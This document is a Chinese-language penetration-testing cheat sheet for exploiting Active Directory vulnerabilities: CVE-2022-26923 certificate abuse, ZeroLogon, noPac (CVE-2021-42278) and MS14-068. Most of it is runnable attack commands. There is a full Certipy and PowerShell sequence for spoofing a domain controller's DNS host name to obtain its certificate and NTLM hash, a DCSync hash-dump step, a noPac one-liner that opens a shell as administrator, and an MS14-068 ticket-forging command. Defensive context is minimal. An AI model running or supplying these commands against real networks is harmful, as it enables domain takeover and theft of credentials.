历史漏洞的利用
CVE-2022-26923 证书服务提权漏洞
CVE-2022–26923 允许攻击者修改 DnsHostName 属性,该属性指定在 DNS 中注册的计算机名称,然后使攻击者能够从 AD 证书服务获取证书,从而导致特权提升。
1:使用certipy (https://github.com/ly4k/Certipy) 工具为低权限的域用户申请一个证书
certipy req 'med-factory/user_test:Password123#@cert01.med-raven.local' -ca MY-DOMAIN-HOSTNAME-CA -template User
2:测试证书与是否有效以及它是否可以通过 Certipy 用于 Kerberos 身份验证
certipy auth -pfx user_test.pfx
3:在域内增加一个新的主机
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
4:让我们为我们创建的新计算机生成一个证书。 要使用该计算机的机器帐户,需要在名称末尾添加一个“$”
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
5:在被拿下的主机上,更新dnshostname以及spn属性
Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
6:移除现有SPN属性
Set-ADComputer NEW_PC -ServicePrincipalName @{}
7:将dnshostname值设置为DC的
Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
8:在攻击主机上伪造一个恶意证书
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
9:验证证书是否工作并且返回NTLM哈希
certipy auth -pfx hostname.pfx
CVE-2020-1472 ZeroLogon漏洞
因为脆弱的密码学设计,攻击者可以绕过认证并模仿任何域主机,包括域控制器,以实现提权。这里,我们使用来自 https://github.com/dirkjanm/CVE-2020-1472 的exp。
1:运行 cve-2022-1472-exploit.py 脚本,我们需要提供DC的IP以及netbios名
2:之后,使用impacket中的secretdump.py 脚本,加上 -just-dc 以及 -no-pass 参数,通过DCSync导出哈希。
CVE-2021-42278 NoPAC漏洞
该漏洞实际上利用了主机账号的伪造,攻击者可以从普通用户提升为域管理员。这里,我们使用来自 https://github.com/Ridter/noPac 的exp。
1:使用exp一键拿shell python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
MS14-068
因为KDC对于伪造票据签名的失败校验,攻击者可以模仿域管理员从而接管域。我们使用来自 https://github.com/mubix/pykek 的exp。
1:执行命令 python ms14-068.py -u [域用户名] -s [用户SID] -d [DC的FQDN] -p [明文密码]